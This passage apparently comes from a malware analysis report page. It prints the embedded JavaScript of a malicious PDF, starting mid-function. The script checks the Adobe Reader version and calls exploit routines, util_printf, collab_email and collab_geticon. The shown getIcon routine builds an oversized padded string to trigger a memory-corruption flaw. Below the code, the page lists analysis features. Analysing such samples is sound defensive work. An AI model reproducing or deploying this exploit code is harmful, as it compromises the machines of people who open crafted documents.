){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 8

Extracted artifacts 2